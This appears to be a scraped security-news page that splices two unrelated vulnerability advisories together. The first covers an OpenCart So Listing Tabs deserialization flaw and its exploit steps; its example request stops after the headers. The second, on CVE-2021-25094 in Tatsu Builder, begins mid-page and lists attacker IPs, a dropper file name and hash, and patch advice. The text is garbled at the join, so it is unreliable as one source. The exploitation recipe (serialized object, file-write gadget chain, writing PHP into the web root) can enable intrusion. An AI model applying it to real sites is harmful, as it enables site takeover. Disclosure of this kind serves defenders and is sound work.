OpenCart So Listing Tabs 2.2.0 Unsafe Deserialization

https://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png OpenCart So Listing Tabs component versions 2.2.0 and below suffer from a deserialization vulnerability that can allow for arbitrary file writes.

SHA-256 | 3bfd18c825f10a8abfe964c1ea209688517e067de8a3b9c084594fcd34b53d85Download [-] Affected Versions:

Version 2.2.0 is affected, and prior versions are likely affected too.

[-] Vulnerabilities Description:

Vulnerable component is switching to another tab. To exploit
vulnerability, an attacker may send a POST request (with
application/x-www-form-urlencoded content-type) to AJAX endpoint
(usually "/index.php") with "is_ajax_listing_tabs" parameter set to
"1" and "setting" parameter containing a PHP-serialized object,
which would be deserialized at server-side. Gadget-chains based on PHP
server-side code can be used to gain remote code execution, file
write, DOS, etc.

So Listing Tabs is an Opencart plugin, so the Opencart PHP classes are
available in webapp lifecycle. In source code of Opencart there is a PHP
gadget-chain which allows to write a file to the server.
Using this gadget, an attacker can write .php files with PHP code inside
app's web root and then execute it via requesting them, thus gaining
remote code
execution, which makes insecure deserialization in So Listing Tabs
especially dangerous. Ability to write files can also be used to DOS the
system by writing large files and exhausting disk space, it can be used to
perform XSS attacks by creating HTML files inside web root.

Here is an example of request which will write PHP file on server
in /tmp directory:

---
POST /index.php HTTP/2
Host: 0.0.0.0
Content-Length: 3870
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://0.0.0.0/

WordPress Tatsu Builder Remote Code Execution

https://1.bp.blogspot.com/-qwhQ-DvjXeo/WWlvAVNcU1I/AAAAAAAAIKM/AQaWmoLkqQQ6jMUPY28Kv2eNsZnw7PnKQCLcBGAs/s1600/h122.png
WordPress Tatsu Builder plugin versions prior to 3.3.13 suffer from an unauthenticated remote code execution vulnerability.

SHA-256 | 632f285a1a3ec46f04fb233958d273d11b2e22568b10b2920f52c77d06e276ea

Description: Unauthenticated Remote Code Execution

Affected Plugin: Tatsu Builder

Plugin Slug: tatsu

Plugin Developer: BrandExponents

Affected Versions: < 3.3.13

CVE ID: CVE-2021-25094

CVSS Score: 8.1 (High)

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Researcher/s: Vincent Michel (darkpills)

Fully Patched Version: 3.3.13

Indicators of Attack

Most of the attacks we have seen are probing attacks to determine the presence of a vulnerable plugin.

These may appear in your logs with the following URL:

/wp-admin/admin-ajax.php?action=add_custom_font

The vast majority of attacks are the work of just a few IP addresses.

The top 3 attacking IP addresses have each attacked over 1 million sites:

148.251.183.254

176.9.117.218

217.160.145.62

An additional 15 IP addresses have each attacked over 100,000 sites:

65.108.104.19

62.197.136.102

51.38.41.15

31.210.20.170

31.210.20.101

85.202.169.175

85.202.169.71

85.202.169.86

85.202.169.36

85.202.169.83

85.202.169.92

194.233.87.7

2.56.56.203

85.202.169.129

135.181.0.188

Indicators of Compromise

The most common payload we’ve seen is a dropper used to place additional malware located in a randomly-named subfolder of wp-content/uploads/typehub/custom/ such as wp-content/uploads/typehub/custom/vjxfvzcd.

The dropper is typically named .sp3ctra_XO.php and has an MD5 hash of 3708363c5b7bf582f8477b1c82c8cbf8.

Note the dot at the beginning as this indicates a hidden file, which is necessary to exploit the vulnerability as it takes advantage of a race condition.

This file is detected by the Wordfence scanner.

What Should I do?

All Wordfence users with the Wordfence Web Application Firewall active, including Wordfence free customers, are protected against this vulnerability. Nonetheless, if you use the Tatsu Builder plugin, we strongly recommend updating to the latest version available, which is 3.3.13 at the time of this writing. Please note that version 3.3.12 contained a partial patch but did not fully address all issues.

If you know anyone using the Tatsu Builder plugin on their site, we urge you to forward this article to them as this is a large-scale attack and any vulnerable sites that are not updated and not using some form of a Web Application Firewall are at risk of complete site takeover.

If you believe your site has been compromised as a result of this vulnerability or any other vulnerability, we offer Incident Response services via Wordfence Care. If you need your site cleaned immediately, Wordfence Response offers the same service with 24/7/365 availability and a 1-hour response time. Both these products include hands-on support in case you need further assistance.
